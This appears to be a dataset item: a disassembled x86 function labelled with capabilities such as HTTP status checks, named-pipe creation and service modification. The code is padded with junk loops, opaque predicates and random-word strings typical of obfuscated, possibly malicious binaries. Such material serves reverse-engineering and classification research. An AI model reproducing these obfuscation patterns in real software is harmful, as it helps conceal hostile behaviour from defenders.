Function at 0x10003070
Capabilities:
Check http status code
Create pipe
Modify service

Disassembly:
mov eax, 0x10063579
call fcn.10062d88
sub esp, 0x68c
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x284], edx
mov dword [ebp - 0x74], ecx
xor ebx, ebx
lea ecx, [ebp - 0xd8]
push 1
mov dword [ebp - 4], ebx
call fcn.10005c0e
mov byte [ebp - 4], 1
mov dword [ebp - 0x18], 0x57ac
cmp dword [ebp - 0x18], 0x58ac
jle 0x1000314f
push ebx
push 0x1fc2
push 0x2127
push 0x1333
push 0x8d5
push 0x1637
push 0x1498
push ebx
call dword [sym.imp.KERNEL32.dll_CreateNamedPipeA]
mov esi, ebx
mov dword [ebp - 0x28], ebx
mov edi, ebx
mov dword [ebp - 0x1c], ebx
mov eax, esi
mov dword [ebp - 0x34], ebx
cdq
mov esi, ebx
idiv edi
mov edi, edx
mov ecx, esi
mov eax, edi
shl eax, cl
lea ecx, [ebp - 0x4f8]
cdq
push edx
push eax
call fcn.10001a6a
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x10003113
mov eax, dword [eax]
push eax
call fcn.1004da8c
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x4f8]
call fcn.10006111
inc esi
cmp esi, 0x7cfe
jl 0x100030f5
mov edi, dword [ebp - 0x1c]
mov esi, dword [ebp - 0x28]
inc edi
mov dword [ebp - 0x1c], edi
cmp edi, 0x652e
jl 0x100030e9
inc esi
mov dword [ebp - 0x28], esi
cmp esi, 0xd6
jl 0x100030e4
push 1
lea ecx, [ebp - 0x2c8]
call fcn.10005c0e
cmp dword [ebp - 0x18], 0x563e
jge 0x10003170
push str.dkmx_gthpemis_hmy_jsg_uncrrcdn_yvo_mdfon_zcbcdkx_rwtrdf_rmz_ewlupgd_kmpavlay_cexsjlte_nud
call fcn.1004da8c
pop ecx
push 2
pop eax
mov dword [ebp - 4], eax
lea ecx, [ebp - 0x2bc]
mov dword [ebp - 0x34], 0x6ed55c59
push eax
call fcn.10005c0e
mov byte [ebp - 4], 5
mov dword [ebp - 0x18], 0xffffffff
mov dword [ebp - 0x14], 1
mov dword [ebp - 0x54], ebx
jmp 0x100031b1
mov eax, dword [ebp - 0x54]
mov dword [ebp + eax*4 - 0x1e0], 0xffffffff
inc dword [ebp - 0x54]
cmp dword [ebp - 0x54], 3
jl 0x100031a0
push ecx
push 0x7bf4
lea eax, [ebp - 0x54]
mov edx, 0x3a66
push eax
lea eax, [ebp - 0xd8]
push eax
push ecx
mov cl, 1
call fcn.10002cea
add esp, 0x14
lea eax, [ebp - 0x54]
mov edx, 0x34ac
push eax
push 0x72e7
lea eax, [ebp - 0x2c8]
push eax
push ecx
push ebx
call fcn.10001d50
add esp, 0x14
lea eax, [ebp - 0x54]
push ebx
push 0x1a91
push ecx
push eax
push 0x7a
lea ecx, [ebp - 0x2bc]
call fcn.1000287c
mov eax, dword [ebp - 0xd8]
add esp, 0x14
mov esi, 0xfff6
mov dword [eax], ebx
cmp dword [eax], 2
jg 0x100033c5
mov dword [ebp - 0x18], 0x8112def9
mov dword [ebp - 0x1c], 0xddac0faa
mov dword [ebp - 0x20], 0x1110
cmp dword [ebp - 0x20], 0x12f7
jle 0x100032ca
mov eax, ebx
mov dword [ebp - 0x18], ebx
mov esi, ebx
mov dword [ebp - 0x14], ebx
mov ecx, esi
mov edi, ebx
shl eax, cl
mov dword [ebp - 0x28], eax
mov esi, ebx
mov dword [ebp - 0x1c], 0x1538
and eax, esi
lea ecx, [ebp - 0x528]
cdq
push edx
push eax
call fcn.10001a6a
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x10003280
mov eax, dword [eax]
push eax
call fcn.1004da8c
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x528]
call fcn.10006111
mov eax, dword [ebp - 0x28]
add esi, edi
dec dword [ebp - 0x1c]
jne 0x10003266
inc edi
cmp edi, 0x78d
jl 0x1000325d
mov esi, dword [ebp - 0x14]
mov eax, dword [ebp - 0x18]
inc esi
mov dword [ebp - 0x14], esi
cmp esi, 0x6f87
jl 0x10003254
inc eax
mov dword [ebp - 0x18], eax
cmp eax, 0x4867
jl 0x1000324f
mov esi, 0xfff6
cmp dword [ebp - 0x20], 0x1053
jge 0x100032de
push str.kwv_xfoye_uasqf_ufjcahl_udtyjou_bcssnc_sokdbralf_gdyky_tmo_rkjkf_ofvjr_mjsejc
call fcn.1004da8c
pop ecx
mov dword [ebp - 4], 5
xor edx, edx
mov ecx, dword [ebp - 0xd8]
push 0xfffffffffffffffb
mov eax, dword [ecx]
mov dword [ebp - 0x18], eax
mov eax, dword [ecx]
mov eax, dword [ebp + eax*4 - 0x1e0]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0xd8]
mov ecx, dword [eax]
pop eax
sub eax, ecx
cmp eax, ecx
mov eax, dword [ebp - 0x1c]
setl dl
imul eax, dword [ebp - 0x18]
xor ecx, ecx
cmp eax, edx
mov eax, dword [ebp - 0x2c8]
setge cl
mov dword [eax], ecx
mov eax, dword [ebp - 0xd8]
mov eax, dword [eax]
mov eax, dword [ebp + eax*4 - 0x1e0]
mov eax, dword [ebp - 0xd8]
mov eax, dword [eax]
mov eax, dword [ebp + eax*4 - 0x1e0]
mov eax, dword [ebp - 0xd8]
mov eax, dword [eax]
mov eax, dword [ebp + eax*4 - 0x1e0]
mov eax, dword [ebp - 0x1d8]
mov eax, dword [ebp - 0xd8]
mov eax, dword [eax]
mov eax, dword [ebp + eax*4 - 0x1e0]
cmp esi, eax
sbb eax, eax
neg eax
mov dword [ebp - 0x34], eax
jne 0x1000337c
cmp dword [ebp - 0x18], ebx
jne 0x1000337c
mov ecx, ebx
jmp 0x1000337f
xor ecx, ecx
inc ecx
mov eax, dword [ebp - 0x2bc]
mov dword [eax + 4], ecx
xor eax, eax
cmp ecx, 0xfffffffc
setle al
xor ecx, ecx
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0xd8]
mov eax, dword [eax]
mov eax, dword [ebp + eax*4 - 0x1e0]
cmp eax, 1
mov eax, dword [ebp - 0xd8]
setl cl
sub ecx, 0xc7127b1a
neg ecx
sbb ecx, ecx
inc ecx
inc dword [eax]
mov dword [ebp - 0x14], ecx
jmp 0x1000321f
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x1d8]
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c8]
inc ecx
mov edx, dword [eax]
mov eax, dword [ebp - 0x2bc]
add edx, ecx
xor ecx, ecx
mov esi, dword [eax + 4]
mov eax, dword [ebp - 0x18]
cmp edx, eax
sete cl
xor edx, edx
cmp esi, ecx
lea ecx, [ebp - 0x2bc]
sete dl
sub edx, esi
sub edx, dword [ebp - 0x14]
mov eax, dword [ebp - 0xd8]
imul edx, dword [eax]
mov dword [eax], edx
mov eax, dword [ebp - 0x18]
dec eax
neg eax
sbb eax, eax
neg eax
mov dword [ebp - 0x14], eax
call fcn.10005c91
lea ecx, [ebp - 0x2c8]
call fcn.10005c91
lea ecx, [ebp - 0xd8]
call fcn.10005c91
mov dword [ebp - 0x1ec], ebx
mov dword [ebp - 0x1e8], ebx
mov dword [ebp - 0x1e4], ebx
push ecx
push ecx
mov dl, 1
mov byte [ebp - 4], 8
mov ecx, 0x3dd4
call fcn.10002381
pop ecx
pop ecx
push 0x43
pop eax
push 2
mov ecx, ebx
mov dword [ebp - 0xcc], 0x10044500
mov dword [ebp - 0xc8], 0x7a05ef5
mov dword [ebp - 0xc4], 0x401082c
mov dword [ebp - 0xc0], 0x511090b
mov dword [ebp - 0xbc], 0x36e0659
mov dword [ebp - 0xb8], 0x21a0a2b
mov dword [ebp - 0xb4], 0xb020111
mov word [ebp - 0xb0], 0xc0e
mov byte [ebp - 0xae], 3
mov word [ebp - 0x440], ax
pop esi
mov dword [ebp - 0x17c], ecx
cmp esi, 2
jne 0x100034d7
push 5
pop ecx
push ecx
mov dword [ebp - 0x17c], ecx
pop esi
jmp 0x10003536
movzx edx, byte [ebp + esi - 0xcb]
mov eax, esi
sub eax, ecx
push 0x74c2
movzx eax, byte [ebp + eax - 0xce]
movzx eax, word [ebp + eax*2 - 0x440]
mov ecx, eax
and eax, edx
or ecx, edx
mov edx, 0x1086
sub ecx, eax
movzx eax, byte [ebp + esi - 0xcc]
push ecx
push 0x660e
push 0x293c
mov word [ebp + eax*2 - 0x440], cx
lea ecx, [ebp - 0x17c]
push 1
call fcn.100025c5
mov ecx, dword [ebp - 0x17c]
add esp, 0x14
add esi, 2
cmp esi, 0x1f
jb 0x100034c5
xor eax, eax
mov word [ebp - 0x426], ax
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x14], ebx
jmp 0x10003560
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x468], 0xffffffff
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jl 0x1000354f
mov dword [ebp - 0x24], ebx
cmp dword [ebp - 0x24], 0x10
jle 0x1000359f
mov eax, 0x9924
mov dword [ebp - 0x3a0], eax
mov dword [ebp - 0x39c], eax
mov dword [ebp - 0x398], eax
mov dword [ebp - 0x394], eax
mov dword [ebp - 0x39c], 0xfffffff6
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 0x10
jg 0x10003574
mov dword [ebp - 0x24], 0x19
jmp 0x1000368b
push dword [ebp - 0x94]
movdqa xmm0, xmmword [0x10072c40]
lea eax, [ebp - 0x440]
push eax
lea eax, [ebp - 0x450]
mov dword [ebp - 0x18], 0x8bfc4f27
push eax
mov dword [ebp - 0x3c], 0xb72b21a3
lea ecx, [ebp - 0x240]
push ebx
movdqu xmmword [ebp - 0x450], xmm0
mov dword [ebp - 0x240], ebx
mov dword [ebp - 0x23c], ebx
mov dword [ebp - 0x238], ebx
call fcn.10008ab5
mov byte [ebp - 4], 9
mov dword [ebp - 0x14], ebx
jmp 0x10003615
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x278], 0xffffffff
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 1
jl 0x10003604
push 0x4573
push ebx
push 0x7620
push 0x259b
mov dl, 1
mov ecx, 0x1816
call fcn.10001e64
mov dword [ebp - 0x18], 1
add esp, 0x10
cmp dword [ebp - 0x18], ebx
jl 0x10003679
mov dword [ebp - 0x14], ebx
jmp 0x10003658
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x54c], ebx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 3
jl 0x1000364b
lea eax, [ebp - 0x240]
mov edx, 0x2f16
push eax
push ebx
push ecx
call fcn.100024fd
add esp, 0xc
dec dword [ebp - 0x18]
jns 0x10003646
lea ecx, [ebp - 0x240]
mov byte [ebp - 4], 8
call fcn.10005c91
dec dword [ebp - 0x24]
cmp dword [ebp - 0x24], 2
jg 0x100035ab
push 0x61
pop eax
push 2
mov ecx, ebx
mov dword [ebp - 0xac], 0xe01f804
mov dword [ebp - 0xa8], 0x45064202
mov dword [ebp - 0xa4], 0xa1030b05
mov dword [ebp - 0xa0], 0x6075cf8
mov dword [ebp - 0x9c], 0xd030b00
mov word [ebp - 0x328], ax
pop esi
mov dword [ebp - 0x180], ecx
cmp esi, 0xa
jne 0x100036ef
push 4
pop ecx
push 0xc
mov dword [ebp - 0x180], ecx
pop esi
jmp 0x1000374a
movzx edx, byte [ebp + esi - 0xab]
mov eax, esi
sub eax, ecx
movzx eax, byte [ebp + eax - 0xae]
movzx ecx, word [ebp + eax*2 - 0x330]
mov eax, ecx
and eax, edx
add eax, eax
sub ecx, eax
movzx eax, byte [ebp + esi - 0xac]
add ecx, edx
push ecx
push ecx
mov word [ebp + eax*2 - 0x330], cx
lea eax, [ebp - 0x180]
push 0x3f9e
push eax
push ecx
push 0x4e0
push ecx
xor cl, cl
call fcn.10001bd5
mov ecx, dword [ebp - 0x180]
add esp, 0x1c
add esi, 2
cmp esi, 0x14
jb 0x100036dc
push 0x5d1b
push 0x7c98
push ecx
xor eax, eax
push 1
mov word [ebp - 0x320], ax
call fcn.10002029
xor eax, eax
mov dword [ebp - 0x3bc], 7
add esp, 0x10
mov word [ebp - 0x3d0], ax
lea eax, [ebp - 0x330]
mov dword [ebp - 0x3c0], ebx
lea ecx, [ebp - 0x3d0]
push eax
call fcn.100062b9
mov byte [ebp - 4], 0xa
lea ecx, [ebp - 0x3b8]
xor eax, eax
mov dword [ebp - 0x3a4], 7
mov word [ebp - 0x3b8], ax
lea eax, [ebp - 0x440]
push eax
mov dword [ebp - 0x3a8], ebx
call fcn.100062b9
lea eax, [ebp - 0x3b8]
push eax
lea ecx, [ebp - 0x4c8]
call fcn.1000845e
lea eax, [ebp - 0x3d0]
push eax
lea ecx, [ebp - 0x4b0]
call fcn.1000845e
push ebx
push 1
lea ecx, [ebp - 0x3b8]
call fcn.10006341
push ebx
push 1
lea ecx, [ebp - 0x3d0]
call fcn.10006341
mov byte [ebp - 4], 0xb
lea eax, [ebp - 0x498]
push dword [ebp - 0x278]
lea ecx, [ebp - 0x1d4]
mov dword [ebp - 0x1d4], ebx
push eax
lea eax, [ebp - 0x4c8]
mov dword [ebp - 0x1d0], ebx
push eax
push ebx
mov dword [ebp - 0x1cc], ebx
call fcn.10008948
push fcn.1000574c
push 1
push 0x30
lea eax, [ebp - 0x4c8]
mov byte [ebp - 4], 0xd
push eax
call fcn.1004d82b
push 7
pop ecx
xor eax, eax
lea edi, [ebp - 0x440]
rep stosd dword es:[edi], eax
push 1
lea ecx, [ebp - 0x31c]
call fcn.10005c0e
push ebx
push ecx
mov byte [ebp - 4], 0xe
lea eax, [ebp - 0x31c]
push ecx
mov dword [ebp - 0x298], 0xffffffff
mov dword [ebp - 0x3c], 0x5c6f1bf5
push eax
lea eax, [ebp - 0x3d4]
mov edx, 0x4723
push eax
call fcn.100028c7
add esp, 0x14
lea eax, [ebp - 0x298]
mov dl, 1
lea ecx, [ebp - 0x31c]
push eax
push 1
push 0x764b
push 0x18d9
call fcn.10001e64
add esp, 0x10
mov byte [ebp - 4], 0xd
lea ecx, [ebp - 0x31c]
call fcn.10005c91
xor eax, eax
lea edi, [ebp - 0x330]
stosd dword es:[edi], eax
lea ecx, [ebp - 0x198]
push 1
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
call fcn.10005c0e
push 1
lea ecx, [ebp - 0x2e0]
mov byte [ebp - 4], 0xf
call fcn.10005c0e
push 2
pop edi
mov byte [ebp - 4], 0x10
lea ecx, [ebp - 0x310]
mov dword [ebp - 0x34], 0x6ed55c59
push edi
call fcn.10005c0e
mov byte [ebp - 4], 0x11
mov dword [ebp - 0x18], 0xffffffff
mov dword [ebp - 0x14], 1
mov dword [ebp - 0x50], ebx
jmp 0x10003946
mov eax, dword [ebp - 0x50]
mov dword [ebp + eax*4 - 0x1c0], 0xffffffff
inc dword [ebp - 0x50]
cmp dword [ebp - 0x50], 3
jl 0x10003935
lea eax, [ebp - 0x198]
push eax
push ebx
lea eax, [ebp - 0x50]
push 0x6005
push eax
call fcn.100020e8
lea eax, [ebp - 0x2e0]
mov dl, 1
push eax
push 0xec2
push 0x3dec
lea eax, [ebp - 0x50]
xor cl, cl
push eax
push ebx
call fcn.100025f6
add esp, 0x24
lea eax, [ebp - 0x50]
push 1
push eax
push ecx
lea eax, [ebp - 0x310]
mov ecx, 0x86a
push 0x26a7
push eax
call fcn.1000287c
mov ecx, dword [ebp - 0x198]
add esp, 0x14
mov eax, dword [ebp - 0x310]
mov dword [ebp - 0x2c], eax
mov dword [ecx], ebx
mov eax, dword [ecx]
mov dword [ebp - 0x18], 0x8112def9
mov dword [ebp - 0x1c], 0xddac0faa
mov dword [ebp - 0x18], eax
mov eax, dword [ecx]
xor ecx, ecx
push 0xfffffffffffffffb
mov eax, dword [ebp + eax*4 - 0x1c0]
mov dword [ebp - 0x1c], eax
mov esi, dword [ebp - 0x1c]
imul esi, dword [ebp - 0x18]
mov eax, dword [ebp - 0x198]
mov edx, dword [eax]
pop eax
sub eax, edx
cmp eax, edx
mov eax, dword [ebp - 0x2e0]
setl cl
xor edx, edx
cmp esi, ecx
mov ecx, 0xfff6
setge dl
mov dword [eax], edx
mov eax, dword [ebp - 0x198]
mov eax, dword [eax]
mov eax, dword [ebp + eax*4 - 0x1c0]
mov eax, dword [ebp - 0x198]
mov eax, dword [eax]
mov eax, dword [ebp + eax*4 - 0x1c0]
mov eax, dword [ebp - 0x198]
mov eax, dword [eax]
mov eax, dword [ebp + eax*4 - 0x1c0]
mov eax, dword [ebp - 0x1b8]
mov eax, dword [ebp - 0x198]
mov eax, dword [eax]
mov eax, dword [ebp + eax*4 - 0x1c0]
cmp ecx, eax
sbb eax, eax
neg eax
mov dword [ebp - 0x34], eax
jne 0x10003a59
cmp dword [ebp - 0x18], ebx
jne 0x10003a59
mov ecx, ebx
jmp 0x10003a5c
xor ecx, ecx
inc ecx
mov esi, dword [ebp - 0x2c]
xor eax, eax
cmp ecx, 0xfffffffc
setle al
mov dword [esi + 4], ecx
xor ecx, ecx
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x198]
mov eax, dword [eax]
mov eax, dword [ebp + eax*4 - 0x1c0]
cmp eax, 1
setl cl
sub ecx, 0xc7127b1a
neg ecx
sbb ecx, ecx
inc ecx
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp - 0x198]
inc dword [ecx]
cmp dword [ecx], edi
jle 0x100039b5
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x1b8]
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2e0]
inc ecx
mov esi, dword [esi + 4]
mov edx, dword [eax]
mov eax, dword [ebp - 0x18]
add edx, ecx
xor ecx, ecx
cmp edx, eax
sete cl
xor edx, edx
cmp esi, ecx
lea ecx, [ebp - 0x310]
sete dl
sub edx, esi
sub edx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x198]
imul edx, dword [eax]
mov dword [eax], edx
mov eax, dword [ebp - 0x18]
dec eax
neg eax
sbb eax, eax
neg eax
mov dword [ebp - 0x14], eax
call fcn.10005c91
lea ecx, [ebp - 0x2e0]
call fcn.10005c91
lea ecx, [ebp - 0x198]
mov byte [ebp - 4], 0xd
call fcn.10005c91
push 0x771b
push ecx
push ecx
lea eax, [ebp - 0x1d4]
push eax
push ebx
lea ecx, [ebp + 8]
call fcn.100021c5
add esp, 0x14
push ebx
push 0x110bc
push 0x10060
call fcn.10030f9c
pop ecx
pop ecx
call eax
mov dword [ebp - 0x20], 0x3625
cmp dword [ebp - 0x20], 0x37aa
jle 0x10003bc9
mov edx, ebx
mov dword [ebp - 0x14], ebx
mov eax, ebx
mov dword [ebp - 0x18], ebx
mov esi, ebx
mov ecx, ebx
mov dword [ebp - 0x28], 0x159c
mov dword [ebp - 0x1c], ecx
sar eax, cl
lea ecx, [ebp - 0x588]
xor eax, edx
cdq
push edx
push eax
call fcn.10001a6a
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x10003b81
mov eax, dword [eax]
push eax
call fcn.1004da8c
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x588]
call fcn.10006111
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x18]
add ecx, esi
dec dword [ebp - 0x28]
mov edx, dword [ebp - 0x14]
mov dword [ebp - 0x1c], ecx
jne 0x10003b65
inc esi
cmp esi, 0x2fca
jl 0x10003b59
inc eax
mov dword [ebp - 0x18], eax
cmp eax, 0x69c6
jl 0x10003b57
inc edx
mov dword [ebp - 0x14], edx
cmp edx, 0x1f8c
jl 0x10003b52
cmp dword [ebp - 0x20], 0x35e4
jge 0x10003bdd
push str.qyxga_hnatykrg_kmerrpuw_mzw_lhkjmmeub_gxm_vhgiyyqha_lqlzvotcn_cqz_usjd_vbcfo_kdhgey
call fcn.1004da8c
pop ecx
push 1
lea ecx, [ebp - 0x390]
mov dword [ebp - 4], 0xd
call fcn.10005c0e
push ecx
lea eax, [ebp - 0x390]
mov byte [ebp - 4], 0x14
push eax
push ecx
lea eax, [ebp - 0x424]
xor dl, dl
push eax
push 0x24b0
push 0x3d2
push 0x7f09
call fcn.10001e1a
mov esi, dword [ebp - 0x390]
add esp, 0x1c
mov dword [esi], 0xfffffffb
push 0x58f8
push 0x5e34
push 1
push ebx
lea edx, [ebp - 0x63]
mov byte [ebp - 0x63], bl
mov cl, 1
call fcn.10002d59
add esp, 0x10
inc dword [esi]
cmp dword [esi], 0x12
jle 0x10003c2a
lea ecx, [ebp - 0x390]
mov byte [ebp - 4], 0xd
call fcn.10005c91
xor edx, edx
mov dword [ebp - 0x20], 0xf5c184c5
inc edx
xor eax, eax
mov dword [ebp - 0x14], edx
mov dword [ebp - 0x1c], edx
mov word [ebp - 0x420], ax
cmp dword [ebp - 0x20], ebx
je 0x10003c99
lea eax, [ebp - 0x5a]
mov byte [ebp - 0x5a], bl
push eax
push ecx
push ecx
push 0x4c9c
push edx
mov ecx, 0x6185
call fcn.100021c5
add esp, 0x14
jmp 0x10003cb4
push edx
push ecx
lea eax, [ebp - 0x59]
mov byte [ebp - 0x59], bl
push eax
push 0x2ddb
mov edx, 0x18d8
call fcn.1000233f
add esp, 0x10
mov dword [ebp - 0x48], ebx
lea ecx, [ebp - 0x2a4]
mov dword [ebp - 0x24], 1
mov dword [ebp - 0x28], 5
mov dword [ebp - 0x20], edi
mov dword [ebp - 0x18], 0x7468e576
mov dword [ebp - 0x1c], 0x7d552b89
push 3
call fcn.10005c0e
mov byte [ebp - 4], 0x15
push 3
mov dword [ebp - 0x1c], 0xffffffff
pop ecx
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x84], 0x4d7f4843
mov dword [ebp - 0x30], ebx
jmp 0x10003d14
mov eax, dword [ebp - 0x30]
mov dword [ebp + eax*4 - 0x2d4], 0x5da2282d
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], ecx
jl 0x10003d03
mov dword [ebp - 0x30], ebx
jmp 0x10003d2f
mov eax, dword [ebp - 0x30]
mov dword [ebp + eax*4 - 0x1c8], 0x30498d20
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], edi
jl 0x10003d1e
push ecx
push ebx
lea eax, [ebp - 0x2a4]
push eax
lea eax, [ebp - 0x30]
push eax
call fcn.10001b76
add esp, 0x10
mov dword [ebp - 0x30], ebx
jmp 0x10003d5f
mov eax, dword [ebp - 0x30]
mov dword [ebp + eax*4 - 0x274], 0xf82ea917
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], 1
jl 0x10003d4e
mov dword [ebp - 0x2c], 0x43c4
cmp dword [ebp - 0x2c], 0x4448
mov dword [ebp - 0x3c], str.itdoc_byoezxz_qannox_yvj_saqvvmv_ktamsdy_uls_endgifiv_duz_zfseb_vqzi
jle 0x10003dcc
mov ecx, ebx
mov dword [ebp - 0x18], ebx
mov esi, ebx
mov eax, esi
and eax, ecx
lea ecx, [ebp - 0x510]
cdq
push edx
push eax
call fcn.10001a6a
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x10003d9f
mov eax, dword [eax]
push eax
call fcn.1004da8c
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x510]
call fcn.10006111
mov ecx, dword [ebp - 0x18]
inc esi
cmp esi, 0x6e93
jl 0x10003d83
inc ecx
mov dword [ebp - 0x18], ecx
cmp ecx, 0x78c7
jl 0x10003d81
dec dword [ebp - 0x20]
mov ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x1c8]
add ecx, 0x536c745d
neg ecx
sbb ecx, ecx
xor edx, edx
inc ecx
cmp ecx, eax
mov eax, dword [ebp - 0x20]
setne dl
xor ecx, ecx
cmp eax, edx
setne cl
mov dword [ebp - 0x1c8], ecx
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x18], ebx
cmp dword [ebp - 0x18], eax
sbb edx, edx
neg edx
sub edx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
setg cl
mov dword [ebp - 0x1c], ecx
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x28]
dec dword [ebp - 0x28]
cmp eax, ecx
jle 0x10003e31
xor ecx, ecx
inc ecx
jmp 0x10003e33
mov ecx, ebx
mov eax, dword [ebp - 0x2a4]
mov dword [eax + 8], ecx
cmp ecx, 0xbacd6bce
jae 0x10003e50
cmp dword [ebp - 0x1c8], ebx
jne 0x10003e50
mov eax, ebx
jmp 0x10003e53
xor eax, eax
inc eax
mov dword [ebp - 0x1c], eax
xor ecx, ecx
mov eax, dword [ebp - 0x1c]
neg eax
mov dword [ebp - 0x274], eax
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x2cc], eax
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x1c8]
cmp eax, 0x855c
mov eax, dword [ebp - 0x14]
setne cl
imul eax, ecx
test eax, eax
jne 0x10003e99
mov eax, dword [ebp - 0x2d4]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x2d4]
mov eax, dword [ebp - 0x14]
dec eax
neg eax
sbb eax, eax
neg eax
cmp dword [ebp - 0x24], eax
jge 0x10004096
mov dword [ebp - 0x14], 0x50bd
cmp dword [ebp - 0x14], 0x52ea
jle 0x10003f34
mov dword [ebp - 0x18], ebx
mov eax, ebx
mov dword [ebp - 0x28], ebx
mov esi, ebx
mov dword [ebp - 0x1c], ebx
mov ecx, esi
mov dword [ebp - 0x34], ebx
mov esi, dword [ebp - 0x18]
mov edx, eax
shl edx, cl
mov dword [ebp - 0x20], edx
mov eax, ebx
mov ecx, 0x100808b8
and eax, edx
or eax, esi
cdq
push edx
push eax
call fcn.100059e4
mov edx, dword [ebp - 0x20]
inc ebx
cmp ebx, 0x6c5a
jl 0x10003ee7
mov esi, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x28]
inc esi
mov dword [ebp - 0x1c], esi
push 0
pop ebx
cmp esi, 0x18d1
jl 0x10003ed8
inc eax
mov dword [ebp - 0x28], eax
cmp eax, 0x45bb
jl 0x10003ed3
mov eax, dword [ebp - 0x18]
inc eax
mov dword [ebp - 0x18], eax
cmp eax, 0x2937
jl 0x10003ece
mov byte [ebp - 4], 0x16
cmp dword [ebp - 0x14], 0x5019
jge 0x10003f71
mov edx, str.xola_miidnq_rgqkulsq_vtjaytxwf_qhwv_duxqeibvd_iwo_pzdk_yksaluyp_urn_bekhhpn_tde_egba
mov ecx, 0x100808b8
call fcn.10008020
jmp 0x10003f71
mov dword [ebp - 0x14], ebx
jmp 0x10003f83
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x304], ebx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 3
jl 0x10003f76
mov eax, dword [ebp - 0x300]
mov eax, dword [ebp - 0x84]
mov eax, dword [ebp - 0x300]
neg eax
sbb eax, eax
xor ecx, ecx
inc eax
cmp eax, 1
mov eax, dword [ebp - 0x24]
setg cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x2fc]
setle dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x2a4]
setge cl
xor edx, edx
cmp ecx, 0xe226
setle dl
imul edx, dword [eax + 8]
xor eax, eax
test edx, edx
mov dword [ebp - 0x2d0], edx
setne al
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x2c], 0x4060
jge 0x10003ff6
push dword [ebp - 0x3c]
call fcn.1004da8c
pop ecx
lea ecx, [ebp - 0x2a4]
mov dword [ebp - 4], 0xd
call fcn.10005c91
mov dword [ebp - 0x18c], 0xffffffff
lea ecx, [ebp - 0x2b0]
mov dword [ebp - 0x7c], 8
mov dword [ebp - 0x19c], 5
mov dword [ebp - 0x280], 4
push 1
call fcn.10005c0e
mov byte [ebp - 4], 0x1c
lea ecx, [ebp - 0x250]
mov dword [ebp - 0x80], 0xfffffff6
mov dword [ebp - 0x234], 0x8e548e01
push edi
call fcn.10005c0e
push 3
lea ecx, [ebp - 0x2ec]
mov byte [ebp - 4], 0x1d
call fcn.10005c0e
push ecx
push ecx
lea eax, [ebp - 0x2b0]
mov byte [ebp - 4], 0x1e
push eax
push 0x770a
push ecx
lea eax, [ebp - 0x44]
push eax
push ecx
mov cl, 1
call fcn.10001bd5
add esp, 0x1c
mov dword [ebp - 0x44], ebx
jmp 0x1000417d
mov dword [ebp - 0x20], ebx
cmp dword [ebp - 0x20], 1
jg 0x10003fe4
mov dword [ebp - 0x24], 0x765d
cmp dword [ebp - 0x24], 0x7730
jle 0x10004110
mov dword [ebp - 0x14], ebx
mov ecx, ebx
mov dword [ebp - 0x28], 0x790
mov dword [ebp - 0x18], ecx
mov esi, ebx
mov dword [ebp - 0x84], ebx
mov dword [ebp - 0x1c], 0x6925
mov eax, ecx
mov ecx, 0x100808b8
or eax, ebx
cdq
push edx
push eax
call fcn.100059e4
mov ecx, dword [ebp - 0x18]
add ebx, esi
dec dword [ebp - 0x1c]
jne 0x100040d1
inc esi
push 0
pop ebx
cmp esi, 0x52cb
jl 0x100040c4
mov eax, dword [ebp - 0x14]
add ecx, eax
dec dword [ebp - 0x28]
mov dword [ebp - 0x18], ecx
jne 0x100040c2
inc eax
mov dword [ebp - 0x14], eax
cmp eax, 0x45f5
jl 0x100040b6
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x1c8], 0x766aa6f6
